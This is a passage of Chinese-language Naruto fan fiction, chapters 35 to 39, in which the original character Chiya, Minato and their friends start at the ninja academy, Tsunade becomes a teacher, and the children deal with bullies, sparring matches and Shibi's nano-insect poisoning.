和别人换了位置的波风水门眼疾手快地捏住千弥的嘴巴,没让在台下捧场的千弥接着火影大人的讲话继续说下去。
“火的影子会照耀着村子,并让新的树叶发芽......”
相较于新校长演讲的直白辛辣,三代目火影有关“叶与火”相生的形容似乎更得人心,毕竟没人想在刚上学的年龄就直面“牺牲”这种沉痛的话题。
直到散场,波风水门才彻底放下悬着的心。
“水门很喜欢新校长吗?”古蹊千弥看着青蓝色的天空,云像被揪出来的棉花糖一丝一丝的,不成团。
“比较有好感?”新校长虽然有些阴沉,但讲话的内容很切理。
“吓死了,我还以为水门在为团藏校长深深着迷呢,”千弥拂去不存在的汗水,“你在校长讲话的时候,足足点了五次头。”
“千弥不觉得团藏校长的有些描述很有道理吗?”水门反问。
“我也要为了任务不惜牺牲吗?”千弥用一种悲怆的语调形容在任务中可能出现的情境,“失去作战能力后,还要被熟读忍者守则、坚持‘任务优先’的水门无情的丢下,孤身面对各种风遁、火遁、雷遁、水遁,也许还会被水门先行用忍术销毁,毕竟忍者的身体也能存储情报......”
“不许这么说。”水门果断回答,“不可能把你丢下的。”
水门反应过来,“你不喜欢团藏校长?”
“嘛,”千弥盯着白云,眼神乱飘,“有点讨厌呢。”
“千——弥——弥——”玖辛奈一脸大事不妙,“新校长怎么会是那个可怕的老爷爷嘚吧内!”
“退学吗?我们可以组团,再带上香奈。”千弥跃跃欲试。
玖辛奈面露难色,她不想没上学就失学,而且,没在学校读过书的辍学生在村子里几乎可以被认定为文盲,被人知道了很难听的。
“玖辛奈,香奈,”千弥双手插兜,像是被生活压弯了腰,“我是为了你们才坚持读书的哦。”
“欸?!”香奈后撤一步,无措地捏着衣角。
当初在书店门口,团藏校长没把她和玖辛奈当人看的眼神,古蹊千弥相信自己就算失忆了也独独不会遗忘那种感觉。
那位校长似乎是为了村子不惜一切的类型。但爱村的校长给千弥留下的印象还不如当初像看小垃圾一样用那双红色竖瞳看自己的九喇嘛。
不能组团退学的话,就只好在她们身边当忠实可靠的保安队长了。
“不要给别人施加奇怪的压力!”波风水门在千弥头上敲了一下,然后遭到了护狗子的红毛小狗严正抗议,“千弥本来就笨笨的,你这样会把她敲得更笨的!”
“哇!竟然这么说我,我要和爪和美琴最最最最最好!”
在门口等待千弥他们的爪和美琴:幸福来得太突然,受宠若惊。
“不准把我落下!”转头在千弥头上敲了一下的玖辛奈察觉到波风水门犀利的目光,僵硬地转过身。
“千弥本来就笨笨的,你这样会把她敲得更笨的。”波风水门一字不差的复述玖辛奈刚说过的话。
回旋镖来得太快,实在反应不过来的玖辛奈:“......”
“竟然和玖辛奈一样说我,我决定不和水门好了。”身为风暴眼,对气旋的变化一无所知的千弥抱住脑袋。
被千弥无差别攻击的波风水门:“......”
35.监督已就位
“如果学生们在课堂上飞纸飞机,那么作为一名老师,在看到这样的景象后应当如何处理呢?”
随着新的学期拉开序幕,某间教室里,站在讲台上的忍校资深教师正在对报名支教活动的10多名忍者进行紧急培训。培训内容主要包括身份转变过程中,各位临时教师们理应具备的基础职业道德,以及课堂上各种突发事件的应急处理方法。
按照预期,这些忍者在顺利通过培训和考核后,将根据其专长针对性地教授选择相应特设学科的学生,当忍校教师人手不足时,他们也会化身为临时的文化学科的老师,向学生们授课。
这是三代目火影在纲手提出“在学校发掘有天赋的医疗忍者”的启发下做出的变革。
忍者可以通过操控身体能量与精神能量释放忍术、体术、幻术,其中忍术还能进一步分出五遁忍术,按照类型可以划分为攻击、防御与辅助三种。
但在这个世界上,真正能掌握各种术的全面型人才少之又少。当下,忍校教师们的能力足以为学生们打下基础,但难以为学生们提供更具针对性的教学拔高。支教教师们的作用便是尽可能地补足这方面的短板,让学生们的长处尽可能地得到发展,从而提升忍校毕业生的质量。
猿飞日斩推行改革的过程中自然也遭到了来自老战友的阻力——他认为专业的人做专业的事,做任务的忍者不应该掺和进忍校的教育管理。但好在,他成功地用“取消设立女忍班”作为交换,达成了目的。
没听出来团藏阴阳怪气自己也同样不应该掺和进他,志村团藏,木叶校长管理的事务中、学生们的教育应当由校长全权负责这层含义,沉浸于能和团藏携手“干事业”的三代目火影心里美滋滋的。
纲手在脑海中自动生成古蹊千弥课上飞飞机的画面,她扬言道,“当然是一拳教小鬼们做人。”
心潮澎湃,纲手的拳头挥出嗖嗖的破空声,不仅讲台上的教师见了背脊发凉,连坐在纲手两边的“同桌”们也忍不住地偏头侧身,生怕风压或肘击擦在身上。
对教育充满热情,对学生们更是充满了爱意的老师双手拍在讲台上,气势十足地怒吼,“完全不对!这种时候身为教师应该以理服人,对少不更事的学生们进行爱的感化!”
纲手不甘示弱地回击,“如果我的道行高深到连那种顽童都能感化,不如去做菩萨好了!”
“‘那种顽童’?纲手姬的指向似乎很明确啊。”坐在后一排的旗木朔茂看着针锋相对的两个人,嘴角抽搐——培训老师原本柔顺的头发此刻像松树的松针一样,根根耸立。
公然和老师顶嘴,纲手的态度真的能通过培训吗?
“嘛,毕竟是来对学生们进行医疗忍术启蒙的,而且还是我们这些人当中唯一的医疗忍者,通过是必然的吧。”
他们中的绝大多数忍者是响应三代目火影的号召才申请成为忍校支教教师、任务之余在忍校授课的,纲手不同,她是带着培育医疗忍者的任务来的。
宇智波镜往后倾着身体,看向角落里的加藤断,好奇地问道,“断怎么坐在那么偏僻的位置?”
旗木朔茂也摸不着头脑,“不知怎么的,他最近似乎和谁都离得很远。”
比起自己口头的“独身主义”
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,这个词倒像是在断的身上彻底具象化了。
“?”宇智波镜不明觉厉地发出感叹,“这可一点也不像他啊。”
最后,纲手还是在开学一周内顺利拿到了教师证,在三代目火影积极的斡旋之下。
“四年级的学生有难了。”看到纲手来自己面前,特地用手指弹了弹那纸只有巴掌大的双折证明,看清了里面的字,千弥低头为鹿久他们哀悼。
“是你有难了,小混蛋!”纲手提溜起眼前这个没有一点自觉性的小兔崽子,“课上不乖的话,我会把情况统统汇报给水户奶奶。”
“都这么大的人了,竟然还告状!”在路上晃悠,试图偶遇汪酱的千弥不可置信地睁圆眼睛,“我可是打小就不告状。”
“有本事倒是夸自己一句‘打小乖到大’啊!”被气笑的纲手夹着千弥,“今天去奶奶家吃饭,金毛小子已经派那只海鸥通知过了。你就跟我走吧。”
“庆祝我们入学一周?”
“是庆祝我(重音)成功拿到合格证明!”
“哇!我本来就笨笨的,你这样会把我敲得更笨的。”千弥拿来玖辛奈的话学以致用,诘责小侄女,“身为老师,你不是应该好好对待木叶未来的花朵,珍惜我这朵娇花吗?”
“你?娇花?还珍惜?”纲手被千弥粘乎乎的话电得浑身发麻,她一脸嫌弃地扭过头,冷漠地回答,“按理应当这样,但你不一样,你是霸王花。”
“我觉得我还是很爱干净的。”千弥低头在自己的衣领上嗅了嗅,是洗衣粉的清香。
纲手:“……”她怀疑古蹊千弥在跟她装傻充愣。
36.刺头一家
读书竟然会给人带来这么多的苦恼。上学前,波风水门是心怀期待的,但上学后,波风水门希望偌大的学校里只有自己、千弥以及朋友们。
一句话概括就是,千弥“成长”了,上学、放学和平时都不和他牵手一起走了。造成这一变化的根源,是一同在忍者学校读书的同学们。
被问到原因的千弥头一扭,避开水门的目光,“因为一直牵着手回家,我听到有人背地里说水门没有男子气概啦。”
那些更过分的话,千弥怎么也不愿意说了。
“那千弥也应该先问问我有没有在意这件事。”波风水门把手塞进千弥衣服的口袋,十指相扣,“同学们说的话很多,千弥总不能全都听吧。”
“其实,至少在牵手这方面,我觉得还是挺有道理的。”千弥举例,“志黑和志微作为表兄弟,似乎就从来没有手牵手地走在路上。而且分开走路可以算作是‘成熟’的标志吧。”
“那千弥以后还会和爪、玖辛奈、美琴她们牵着手走路吗?”波风水门问出了犀利的问题。
“因为大家都是女生?”千弥的尾音轻微地向上扬起,这是一个肯定的答案。
“可这样对我不是太不公平了吗。”波风水门看着千弥,表情难掩悲伤,“就因为我是男生吗?千弥难道要把我孤零零地抛到代表‘成熟’的那一边,自己却和别人留在‘不成熟’的一侧吗?”
“欸?”从来没有思考过的问题角度出现了,千弥思考,卡顿,乱码。
男生......女生......成熟......还有什么来着?抛弃?好大一口锅!她才不会抛弃水门!
波风水门的手掌像晒过太阳的干草源源不断地传递着温度,他看着千弥,坚定地开口,“我要公平。”
“公平?”千弥重复着水门的话,露出明媚的笑容,“那就公平吧!”
如果水门不在意那些背地里的坏话,那她也没什么好在意的,让同学们学会闭嘴就好了。
紧随着到来的是古蹊千弥第一次被“叫家长”。
看到在教室外狗狗祟祟地徘徊的古蹊千弥,纲手下意识地心生警惕——那小丫头无事不登三宝殿。
下课后被小狗腿子殷切地拦下,纲手听完了千弥的请求,棕黄色的瞳孔不可置信地颤动,惊讶地“哈?”出声音。
没事的时候总是“小侄女、小侄女”或是“纲手、纲手”地拖着懒音喊她,结果有事找她竟然是出去丢脸?!
“你也不想水户大人出现吧。”千弥捏着衣角,抬起头,“反正我不想。”
这是威胁吧?绝对是威胁!
纲手瞪着一脸纯良的千弥,试图从中看出潜藏着的“祸心”,然后失败了。
“为什么老师连学生之间的切磋都要管?”身后跟着来自四年级的一串尾巴,千弥匆匆打个招呼后就来不及在意了,趁着路上的时间,千弥给纲手说明内情,“......我们打架之后甚至还很规矩地结了和解之印。”
“你好——”在办公室等待古蹊千弥家长的年级主任抬起头,然后看到了和自己不对付的“金发刺头”。
“啊!是你——”纲手也一眼就认出来眼前的人了,是那位宣扬要用爱感化学生的松针培训官。
四目相对。
火花四溅。
姓氏为松源的教师率先从鼻子里哼气,“果然,小刺头的家人也是刺头。”
纲手看向爱心泛滥的训练员身后那群像被霜打了似的哭唧唧的鸡崽子们,“明显是一群人欺负新生,结果连一个小女孩都没打过。”她阴阳怪气地看着松源,“这就是您伟大的爱的教育,用爱灌注出的一朵朵‘恶之花’。怎么‘爱’就是教育出霸凌同学的学生吗?”
“暴力不是解决问题的方法!”松源指着身后鼻青脸肿的学生们,“在这之前,学校里从来没发生过这样的恶性事件!这明显是古蹊千弥霸凌一群人。”
“他们之间的矛盾这不是顺利地通过暴力和平解决了吗?”纲手不甘示弱地回击,“背地里恶毒地说别人坏话,没把舌头拔出来我们家孩子就已经很慈悲了。”
暴力和和平怎么可能出现在一句话里?!这简直是诡辩!
纲手把拳头掰得嘎吱嘎吱地响,“拔出来也不要紧,我的医疗忍术可以帮他们把舌头完美地接回去。”
这个家长长得那么漂亮,竟然有着蛇蝎般的心肠!
闻言,站在松源身后
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的学生一个个惊恐地捂住嘴,眼泪也憋回去了,他们不可置信地看向纲手身后那个像得到了什么“启示”,笑容忽然变得无比明媚的小恶魔。
下次再在背地里说坏话,被发现了,那家伙会干出什么事来?!
“每周的周三、周五我都在学校,千弥你下手最好挑这个时间段。”纲手伸出一根手指做出利落的切割手势,“时间隔得太久,重新接回去的舌头可能会变得不灵活。”
看着纲手当众教坏古蹊千弥,松源捂住砰砰狂跳的心脏。
“是嘛,原来会变得不灵活!我记清楚了。”
“是我们错了!”哭喊着道歉的领头下一秒紧紧地捂住嘴巴。
那个小恶魔的表情神采飞扬,眼里闪着让人心悸的寒芒,明显是知道有大恶魔撑腰后跃跃欲试了!
“我们错了!”呼啦啦啦,松源身后的学生们跪了一地,“对不起,我们再也不会说别人的坏话了!”
“有其他人在背地里说人坏话怎么办?”千弥笑得一脸坏,翘起来的发丝随着她歪头晃脑的动作调皮的摆动,“我可以当做是从你们当中传出来的吗?”
“呜呜呜呜!”这哪里是商量的语气!
捂着嘴的领头赶忙向恶魔献上忠心,“我们会制止这种不良风气的!”
“我等都会制止这种不良风气的传播!”小弟们跟着老大,一起伏地效忠。
松源看着大获全胜的刺头一家,被气得险些仰过去。
“回家了。”打了场胜仗的纲手雄赳赳、气昂昂地出了门,“下次有这种好事,记得叫我。”
刚教完一群笨学生,现在发泄一下,心情畅快多了。
趴在窗口见证了一切的四年级们:
“平时在学校都不怎么能见到面,原来千弥他们遇到了这样的事情。”
“不愧是我的对手,竟然刚入学就整顿了风纪!”
“事情的起因呢?”
“周末带一年级们去油女族地,观看虫子的孵化能帮助大家放松心情吗?”
“去我们犬冢家的狗场明显才是舒缓精神的上选。”
“汪!”
“虫子吗?看完夜里不做噩梦就很好了。”
37.感谢水门的馈赠
“红豆泥阿里嘎多!”
迎面得到绳树极为郑重的鞠躬感谢的刹那,波风水门感到一阵迷茫和恍惚——他最近应该没有做什么值得对方这般重谢的好人好事。
不,还有一种可能。
出走的理智回归,波风水门想到了一个人。
“发生了什么事吗?”他已经做好了聆听朋友的故事的准备,然后视情况将“功劳”还给真正的“功臣”了。
“是你和千弥说要公平的吧。”绳树带着笑,再次向这位大功臣鞠躬道谢,“真是太感谢你了!”
就算他的爸妈不肯给他生一个妹妹也不要紧,他已经没有遗憾了!
公平。
关键词在脑中扎根,警笛响彻脑海。
公平,千弥,这两者的结合再加上绳树的感谢……
凭借对千弥性格的理解,简单无华的线索在波风水门的脑海中瞬间串联成线,他尝到了搬起石头砸断自己腿的滋味。
昨天千弥写到半夜还不撒手的东西难道——
“我会在月曜日早上七点准时登门的!就不用麻烦千弥去接我了。”
最糟糕的事态发生了。
千弥那家伙总是能干出一些出人意料的事。
水门注意到陪绳树一起登门的玖辛奈正在绳树背后冲自己眉飞色舞,棋差一招的波风水门破防后吃满了攻击,勉强地咬唇维持住微笑。
“好,我会转告的。”
“那我们就先走了!”他还要去上学。(抹泪)
看热闹还不够,玖辛奈热情地送上暴击,“再见了水门。火曜日那天,我会在家给千弥准备好早饭的。”
回应她的是房门安静合上的轻声碰撞。
金毛犬也有今天!总是当两人中吃瘪的那个,一朝扬眉吐气,玖辛奈要在心里笑疯了。
此时的千弥——
训练场内
“这就是珍兽前辈的弟子们吗?”
千弥看着面前的两个除了气质几乎无二的高年级前辈。
“没错。”站在日向日足和日向日差之间的迈特戴屈髋沉腰让自己几乎和两兄弟同高,搭在兄弟俩肩上的手臂内弯着竖起两个大拇指,“他们可都是充满了斗志的热血少年。”
热血?
千弥看着眼睛纯白如雪、黑发乌黑如瀑,沉默以对的双胞胎兄弟。她真的很难想象这两个留着姬发、书中贵族公子般的人物能燃起来。他们的表情用生无可恋来形容才差不多。
她凑上前,超小声地,“如果被胁迫了,你们就眨眨眼。”
大眼瞪小眼,三个人的眼睛硬是一眨不眨地足足睁了一分钟。
生怕错过两人眨眼的千弥:“……”
既然是愿意的,那为什么还握拳咬唇,露出一种比起体术特训更像是去赴死一样的表情啊?
看着两人红着脸,千弥忽然明白了。
“原来是不喜欢紧身衣吗?”千弥尊重个人喜好,“只要和珍兽前辈说明情况,开明的前辈不会强迫你们穿这一身的。”
虽然如此,但她还是不免感到有些遗憾,她还以为自己遇到欣赏珍兽前辈衣品的同好了。新校长刚一上任,第一把火就燃向了吸汗透气的体术服,那身能缓解眼疲劳的紧身衣就这样成为了木叶忍校的绝唱。
“是父亲大人让我们这么穿的。”日差羞耻得连耳朵都红了,他努力在后辈面前做出严肃的模样,“身为戴三三的弟子,理当随着道标前行。”
“好严格。”千弥掏出一卷细细的卷轴,取出一件深绿色带着暗纹的无袖开衫,“这么搭配会好看一些吗?”
“日差。”一转头,发现弟弟正要拿别人的衣服,日向日足板起脸,“身为忍者——”应当摒弃羞耻之心。
“我这还有一件,你要穿吗?”千弥打断小古板的施法,“热身训练要绕着村子跑,运气好的话可以遇到不少同村的忍者和村外的委托人。”
日向日足看着精神面貌因为一件开衫发生巨变的弟弟,又看了看千弥手里那件随风招展、极具诱惑力的外搭。
忍者是无论何时何地都能安受三忍的人。日向日足这样告诉自己,随后低下头接过了千弥手中的外套。
很抱歉,父亲大人,让您失望了——现在的他果然还不是一名合格的忍者。
看着三人和谐相处的迈特戴适时地露出闪耀的牙齿,“既然已经准备好了,那就先一起绕着村子跑十圈吧!”
古蹊千弥,一年级,绳树嘴上经常念叨的永远的对手。
日向日足看着跑在自己前面,紧随着戴老师的女孩。
很强。
确实很强。
对战中被抓住空当,一拳打飞,狼狈地撞到树干的那一刻,日向日足脑中一片空白。
“兄长!”
日差呼喊自己的声音仿佛从很远的地方传来,日足几乎听不真亮。身为日向一族的天才,他竟然败给了一个刚入学的小孩。
“时机把握的Nice!”迈特戴朝千弥竖起拇指。
“再来。”拍掉衣服上的草屑,日向日足摆开柔拳的起手式,青筋在眼眶周围密布,“请再和我对战一次。”
“好啊。”
日差左看看新的一同训练的队友,右看看兄长,正当他要开口阻止这场已经结束的对战时,他的肩膀忽然被出现在身后三三拍了拍。
“这可是在学校里都难得一见的对战。”迈特戴安慰日差,“放心,小千弥不会输的!”
他担心的哪里是这个!比起赠自己衣服的古蹊千弥,他心怀感激之余,还是更关心骄傲破碎的兄长。
日向日差睁开白眼,细致地观察两人的动作。
“柔拳——八卦六十四掌!”
兄长已经能打出六十四掌了吗?
这次,日差开始替身处八卦阵中的千弥紧张了。他抬起头,请求戴介入进去,但是——
“好好看着他们。”头被按下去了。
“避开了。”日向日差不可置信地睁着白眼,看着千弥如同在钢丝上起舞的动作。明明每一次闪避都是险之又险的千钧一发,但偏偏千弥的表情是那么从容。
古蹊千弥闭上了眼睛。一番提心吊胆后,日向日差发现自己的担心再次多余了。那个人竟然依靠感知就能在八卦阵中躲避兄长的点穴。
好强。
古蹊千弥好强。
戴三三的首徒好强。
“算赢吗?”千弥看着查克拉耗尽,单膝跪在地上的日向。
“向我回击。”被汗水浸透衣衫的日向日足摇摇晃晃地起身。
“那就是赢了。”把已经站不稳还想挥掌的人戳到地上,千弥转身看着另一个日向,“我们也要打吗?”
“不,我还要照顾兄长。”日差忽然感受到来自身后的推力。
“不要怕!加油少年!”带着一股冲劲的声音在身后乍响。
不,他并不是惧怕。作为兄长的弟弟,也作为家臣,照护兄长是他的职责所在。
“他歇歇就好了。”千弥单手叉腰,又扭头看着躺在树下用袖子给自己擦汗的沉默大日向,“你要兵粮丸吗?”
“不了,谢谢。”日向日足的声音沙哑。
“千弥,可以用那个!”迈特戴把日足扶起来,靠着树。
“那个?”日差看向戴三三。
“不是说——”
“不要紧,可以用。”
同古蹊千弥有来有回地打了几个回合,日差听到这
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莫名地对话,直觉不妙。
“赢啦!”
从背后被人锁喉的日差像受到惊吓的黑猫寒毛耸立,尾巴竖直,僵立在原地。古蹊千弥走位的瞬变,他看到了,但动作跟不上。
“今天就到此为止了!”
日头攀升到中天,鸟鸣、蝉鸣与蛙鸣逐渐变得恼人,迈特戴拍了拍手,唤回缠斗在一起的三人。
“卷卷前辈?美琴!”
躲在树荫下喝水解渴的千弥挥了挥手。
“是千弥啊。”
带队走进训练场的宇智波镜看着身后一群主动请求加训的学生,“我们的场地使用时间是两个小时。”
“这个地方似乎变得热闹起来了。”千弥疑惑地看向戴。
这个木叶最偏僻的训练场,往日里都没有多少人。可现在人竟一茬接一茬地往来,再算上在树林尽头的丘陵地貌修行的学生们,已经有三波了。
“是因为三代目火影大人创办的特设班制度吧。”戴将自己带的饼干递给千弥和两个学生,“等到千弥四年级就可以选修特设学科了。忍术、体术、幻术、投掷、医疗,想必到那个时候,学校里开设的科目会变得更加多元吧。”
“说起来,绳树好像去学医疗忍术了。”千弥想起了苦着脸哭诉自己作为弟弟在姐姐面前没有人权的对手,捂住嘴憋笑,“那家伙只会吃鱼,哪里会治鱼。”
“是纲手公主开的课吗?”迈特戴也有印象,“好像既要学习对战技巧又要学习医疗忍术的理论和实操,连周末都分成了大小周休假,那些学生相当辛苦。”
“绳树说他学习学到头秃。”千弥咕嘟咕嘟地就水咽下饼干,看着不远处练习苦无和手里剑投掷,时不时传来惊叹和笑声的人群,“连跳级毕业这种点子都想出来了。”
“然后,被纲手以‘作为弟弟却不能带头支持姐姐的事业,还净想一些歪门邪道’为由,狠狠地修理了一通。”千弥对着空气挥拳感慨,“医疗忍术果然很厉害。绳树明明挨了一顿打,经过纲手的治疗后直接恢复如初,完全看不出挨过打的痕迹。”
一旁的日足看着远处的训练人群没有说话,反倒是日差听完千弥的形容冷不丁打了个寒颤——
尽管缺乏成为医疗忍者的天分,但纲手公主曾建议他去旁听医疗忍术的实操课,精进白眼的洞察力。那位笑起来如女菩萨一样的纲手公主,原来还有罗刹的一面吗?
“小千!小千!”
在天上徘徊的海鸥目光穿透人群,俯身冲刺后又呼啦啦地踩着空气徒劳地急刹车撞进千弥怀里。小万的喙落在千弥的耳骨上夹了夹,“薯条!”
“已经到午饭时间了吗!”千弥收拾好卷轴,“前辈还有两位日向前辈,我要回家了!”
还穿着古蹊千弥借给自己的衣服的兄弟俩面面相觑。
“千弥!我们水曜日早上的7:10在族地的三色丸子店集合!”刚从投掷小组轮换下来的美琴看着从旁边经过的千弥,大声地呼唤。
“知道啦!”千弥挥手,然后被站在肩头、挥翅抢戏的小万啪嗒啪嗒地拍到后脑勺。
“是约定吗?”镜看到千弥狼狈地捂着后脑勺,姿势怪异地扭着半边的身体,似乎是想把海鸥抖下去。遭到驱赶也不肯回到天上飞翔的白鸟跳到千弥伸出来的指尖上,接着一路沿着手背、小臂、大臂蹦蹦跳跳,从右边的肩膀换到了左肩。
“是公平的馈赠。”美琴十指相扣,一脸虔诚,“感谢水门神。”
新型的游戏还是什么?镜看着像拜神一样念着水门的同族,满头雾水。难道他已经和现在的后辈产生所谓的代沟了吗?!
一起上学的权利被“公平”这个可恶的词汇分走、在家等待千弥的水门:强颜欢笑。
38.爱屋及乌
“志微?”
约定的时间、约定的地点出现的竟然是另一个人。
“志黑昨天打开虫箱的时候被发生异变的虫污染了。”油女志微同千弥解释志黑没有如约现身的原因,接着他顿了顿,解释起自己出现在这里的原因,“他拜托我来替他赴约。”
“那就一起走吧。”千弥递给志微一本记录了某些稀有昆虫习性的前人手稿,这是她在书摊淘到的,正好可以交给两人实证。
“你刚刚说的那个‘污染’是什么,很严重吗?”污染,这个词听着就令人很不安。
千弥还记得绳树诉苦,说他在家里养的菌被空气里的杂菌污染,全都死掉了,变成了长着一团绿毛的霉菌。顺带一提,这还是医疗班学生们的课业。亲姐姐是纲手公主也没用,没保护好菌群的绳树被大义灭亲,日常小测喜提一次不及格。
“志黑的身体被某种纳米级的毒虫寄宿了,目前还在休养。”比千弥高大半个头的志微接过册子仔细地放进随身的背包后语调沉稳、不疾不徐地回答友人的问题,“我们一族的秘术是操控寄生在身体内的昆虫,但是志黑体内的新虫目前处于一种不稳定的状态,主动攻击了原本寄宿在他身体里的虫子。”
“身体内部正在进行昆虫大战吗。”千弥为志黑捏了一把汗,“纳米级的毒虫,肉眼已经不可见了吧。原住民能打赢吗?”
虽然志黑的蜜蜂、蜘蛛们叮人很痛,但敌虫是纳米级,自带一种不可观测的神秘感,蜜蜂、蜘蛛这种有点普通的昆虫听起来就很弱势。
“已经输了。”说到这里,油女志微的眉毛微微皱了起来,“目前油女一族的所有成员能操控的虫子种类在那种毒虫面前全部战败了。”
“欸?”千弥瞪大眼睛。
“不过放心,那些毒虫也需要志黑的查克拉供养,新的平衡正在志黑的身体里形成。”没有卖关子的习惯,油女志微立刻安慰起千弥。
专业人士都说了没问题,不再为友人担忧的千弥轻快地吐槽道,“志黑的身体听着像是虫子们的巢,自成一个生态。”说完她又摇摇头自我否定,“也不对,纳米虫排除异己之后,志黑的身体里已经不存在生态位了。”
油女志微点了点头认同千弥的话,“油女一族忍者的身体都是虫巢。”
他停下脚步,伸出一根手指,一只虫子缓缓地从他的皮肤表面钻了出来。绿豆大小的寄生虫服从命令,轻飘飘地落在千弥竖起的食指上,“行走的虫巢。”
“冷笑话吗?”弯弯手指,没有新命令的虫子安静地伏着,只有口器在千弥皮肤表面搔了搔,痒痒的。
“嗯。”
第二种虫,第三种虫在油女志微的操控下分别落在了古蹊千弥食指的指节和指腹。
“等等,两面都有虫子,我会担心它们掉下来。”千弥抱怨,虫子痒痒地爬啊爬,全都爬到了食指的背面。
“千弥似乎不怕呢。”油女志微躲在衣领下面的嘴角轻轻地弯起,“女孩子的话很少会有喜欢虫类的吧。”
玖辛奈上次抓着千弥的手腕,牙齿打颤,看起来差点就要晕过去了。香奈和爪更是极其坚定地拒绝去油女一族的聚集地参观虫箱。
“我不讨厌昆虫,而且它们又没有危险。”千弥勾了勾手指,又伸直了将手指平放在胸前。三只昆虫感受到重力,整齐地从手指背面爬向指腹,“更何况,朋友喜欢它们的话,作为朋友的朋友稍稍了解它们一下,爱屋及乌不是很自然吗?”
“是吗。”墨镜下的眼睛弯起,油女志微问千弥,“那千弥除了犬还喜欢什么?”
除了吵闹又掉毛还喜欢咬昆虫玩的生物以外,他也想去了解千弥钟爱的事物,培养一些新的爱好。
“汪酱!”她可是被Sakumo卡密眷顾的忠实的犬派信徒!
油女志微:“……”
“欸?怎么忽然变得消沉了?!”
虫子突然从手指上滑下去了!!!
手足无措地在虫子落地前捧住三只蹬腿的昆虫,千弥悄悄地把它们放回到志微的头发上。
“除了犬类难道真的没有别的喜好吗?”油女志微的声音幽幽的,像极了故事里初登场的鬼怪。
“鱼类?”好吃。
成功理解到千弥言外之意的油女志微:“……”
难道他要去养鱼,然后把辛苦养大的鱼送给千弥做食材吗?把鱼换成虫,油女志微心痛到无法呼吸。
油女志黑的情况并没有随着新的平衡好转,那些肉眼不可见的毒虫霸占了油女志黑的全部身体,毒性强大到连触摸都能使人中毒。
“也就是说,因为还不能精密地操控新虫,为了大家的安全,必须要和我们保持距离了吗?”奈良鹿久看着离大伙有些距离的油女志黑一语总结。
原本
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和志微同一套“出装”的志黑如今整个人都被一层黑色的紧身布料包裹了起来,外面套着一件宽大的风衣。容易与人接触的手部戴着不露指的特制手套,严丝合缝地接连着手肘,一路向上,连头上都添上了一件全覆面的装备,发丝也被包裹其中。
“我抗毒性很强的。”千弥不死心,“握握手嘛,而且不是已经做好了防护措施吗?”
她的偷摸大鸡孤零零地在角落离群索居看着好可怜,好孤苦!
“你不要添乱。”鹿久把想和志黑贴贴的千弥按住,“这种毒性绝对不是你能抵抗的。”成年油女都无法处理的毒虫,毒性已经到另一个level了。连三代目都是扛着压力,才让志黑继续上学,甚至除了文化课以外,但凡涉及到对抗的课全部被取消了。
“千弥这样会让志黑感到不安的。”波风水门加入了阻止跃跃欲试的千弥的战场。
“是吗?”小狗垂头丧气地看着友人。
油女志黑感激地点了点头。
“目前要想有皮肤之间的安全接触就只有两种方法了,第一,解毒剂,第二,控制力。”奈良鹿久看着可怜巴巴地冲自己摇尾巴的千弥,闭上眼睛,“我的建议是双管齐下。”
油女志黑握紧拳——他会努力的。
“解毒剂就交给我吧!”已经能顺利在培养基上养出菌的绳树骄傲地拍了拍胸脯。
“我觉得请求纲手会更快一些。”千弥双手抱胸,冷漠脸,吐槽,“有些人鱼都没救活呢。”
她可是在等和绳树比赛的时候透过实操教室的窗户两只眼睛都看到了,原本半死不活的鱼一下子就被绳树救死了。
膝盖忽然很痛的绳树跪地不起:没能救活鱼真的很抱歉。
“三代目大人也不会放着不管的。”鹿久向众人透露了一点情报。
奈良一族已经收到来自火影大人的同纲手率领的医疗部门合作研发解毒剂的请求了。
上学的日子千篇一律地重复,由令他悔恨不已的公平引发的连锁反应逐渐变得比波风水门想象中还要严重——千弥开始逃课了,甚至有时候连放学都不陪他一起走了。
“汪!”接千弥和水门放学的汪酱冲着眉头紧锁的水门伸爪,露出柔软Q弹的嫩粉色肉垫,左右摇了摇。
波风水门:“……谢谢,但我不需要这种安慰。”
汪酱们这招只对千弥特攻。
39.影分身是世界上最伟大的发明
“嘭!”
安静到只有粉笔当当声的教室里突然冒出一阵白烟。
好消息,他们坐在教室的角落,老师此刻正背对着他们板书。坏消息,烟太大了,即使是教室的一角,突然冒出这样一朵洁白的蘑菇云仍相当地显眼。
坐在千弥左右两侧以及前方的水门、玖辛奈、爪三人强行按下内心的震惊,迅速做出反应——
黑丸大叫着代替烟雾吸引老师的注意力,玖辛奈则和水门趁机弯腰躲进桌下,一个忙着消烟的同时捏了小半颗烟雾弹制造粉尘的特殊气味,另一个则在两名同伙的掩护下迅速结印,使出影分身之术和变身术。
在三人一犬默契无间的分工配合下,借着掩护钻进桌底的两个人出来时变成了三个人,手里还各自拿着疑似在混乱中不小心碰落在地上的纸笔工具。
“非常抱歉,吉田老师。是我的烟雾弹引线突然断裂,掉到地上不慎引起了烟雾。”吸引了全班目光的波风水门镇定地起身向老师道歉。
玖辛奈和“千弥分身”在一旁用掌挥散空气中的薄烟,捂着嘴轻咳。
“引以为戒,注意纪律。”
看到坐在三人前排的爪表情紧张地安抚受惊的忍犬,讲台上的老师提醒一句后,转回身继续写板书。
课间时间很短,几人赶忙趁着机会凑在一起合计——
“到底是怎么回事嘚吧内。”千弥竟然用影分身上学!太狡猾了,逃课出去玩竟然不带着她一起。
“汪汪!”
波风水门看着自己的影分身,“我的影分身叠加变身术后能维持的时间有限,下下节课就要拜托玖辛奈帮忙伪装千弥了,之后每节课我们轮换。”
“没问题。”玖辛奈干劲满满地应下。
帮偷摸大鸡打掩护这事儿她义不容辞!
“有需要帮助的地方就向黑丸发信号,虽然不会影分身,但我们也会尽力帮忙的。”犬冢爪看着波风水门制造出来的分身,头顶的黑丸随着爪的话大汪一声。
“我也是。”香奈目光坚定。
木叶某处
古蹊千弥坐在一块空地上,解开了欧多桑留给自己的记载着霸气封印术的卷轴。
尽管志黑身上的毒虫小到肉眼无法观测,但仍旧是虫类。
名为“霸王色霸气”的力量可以完美地克制它们——只要让那些毒虫在志黑身体里陷入晕厥状态,无法再释放毒素,那么志黑就可以随便和人接触了。
这是她想出来的第三条道路。
从见闻色霸气开始,一鼓作气努力修行吧!
完全没考虑过自己是否具有霸王色天资的千弥摊开手中的卷轴,按照上面记载的解印解除了身体的霸气封印。
细细的茎上带着雨后的泥点,嫩生生的青草彼此点头致意、失去水分的椭圆形叶片离开枝头随风零落,瓢虫、青虫沙沙地啃食大餐,远处的池塘,上演了一出大鱼吃小鱼的戏码,受到鱼的残片惊扰的河虾挥钳用力刨动池底的淤泥埋头往下钻……
